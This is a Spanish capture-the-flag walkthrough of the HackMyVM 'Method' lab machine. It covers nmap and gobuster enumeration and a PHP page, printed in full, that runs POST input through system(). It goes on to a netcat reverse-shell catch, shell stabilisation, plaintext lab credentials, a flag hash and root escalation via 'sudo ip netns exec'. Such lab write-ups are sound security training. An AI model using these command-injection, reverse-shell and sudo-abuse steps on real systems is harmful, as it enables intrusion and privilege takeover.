Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-18 11:00 EDT
Nmap scan report for 192.168.1.236
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 4b:24:34:1f:41:10:88:b7:5a:6a:63:d9:f6:75:26:6f (RSA)
| 256 52:46:e7:20:68:c1:6f:90:2f:a6:ad:ee:6d:87:e7:28 (ECDSA)
|_ 256 3f:ce:97:a9:1e:f4:60:f4:0e:71:e7:46:58:28:71:f0 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Test Page for the Nginx HTTP Server on Fedora
MAC Address: 08:00:27:A6:FC:96 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.57 seconds
Veremos que hay una pagina web en el puerto 80, si entramos veremos una pagina web normal, por lo que vamos a realizar un poco de fuzzing.
Gobuster
Info:
Veremos varias cosas interesantes entre ellas index.htm si entramos veremos una pagina normal, pero si inspeccionamos el codigo veremos esto:
Veremos que el secret.php puede hacer algo pero veremos algo interesante en el name= que pone HackMyVM por lo que vamos a probar lo siguiente:
Info:
Veremos que no ha funcionado, pero por que no es el metodo adecuado, estamos utilizando el metodo GET por lo que vamos a probar a utilizar el metodo POST capturando la peticion con BurpSuite.
Una vez que tengamos abierto BurpSuite capturaremos la peticion recargando la pagina enviando el whoami, por lo que veremos lo siguiente:
Ahora vamos a darle click derecho -> changue request method y con esto nos quedara asi:
Ahora vamos a probar a enviarlo y veremos lo siguiente:
Por lo que vemos ha funcionado, ahora vamos a crearnos una reverse shell de la siguiente forma:
Antes de enviarlo nos pondremos a la escucha con nc.
Ahora cuando lo enviemos por BurpSuite si volvemos a la escucha veremos lo siguiente:
Veremos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
Vamos a leer la flag del usuario:
user.txt
Escalate user prakasaka
Si leemos el archivo secret.php veremos lo siguiente:
Info:
Veremos lo que parece las credenciales del usuario prakasaka, vamos a probarlo haciendo lo siguiente:
Metemos como contraseña th3-!llum!n@t0r y veremos que somos dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Veremos que podemos ejecutar el binario ip como el usuario root, por lo que haremos lo siguiente:
Info:
Con esto veremos que ya seremos root, por lo que leeremos la flag de root:
listening on [any] 7777 ...
connect to [192.168.1.146] from (UNKNOWN) [192.168.1.236] 48638
sh: 0: can't access tty; job control turned off
$ whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
e4408105ca9c2a5c2714a818c475d06F
cd /var/www/html
cat secret.php
<?php
if(isset($_GET['HackMyVM'])){
echo "Now the main part what it is loooooool";
echo "<br>";
echo "Try other method";
die;
}
if(isset($_POST['HackMyVM'])){
echo "You Found ME : - (";
echo "<pre>";
$cmd = ($_POST['HackMyVM']);
system($cmd);
echo "</pre>";
die;
}
else {
header("Location: https://images-na.ssl-images-amazon.com/images/I/31YDo0l4ZrL._SX331_BO1,204,203,200_.jpg");
}
$ok="prakasaka:th3-!llum!n@t0r";
?>
su prakasaka
Matching Defaults entries for prakasaka on method:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User prakasaka may run the following commands on method:
(!root) NOPASSWD: /bin/bash
(root) /bin/ip
sudo ip netns add foo
sudo ip netns exec foo /bin/sh
sudo ip netns delete foo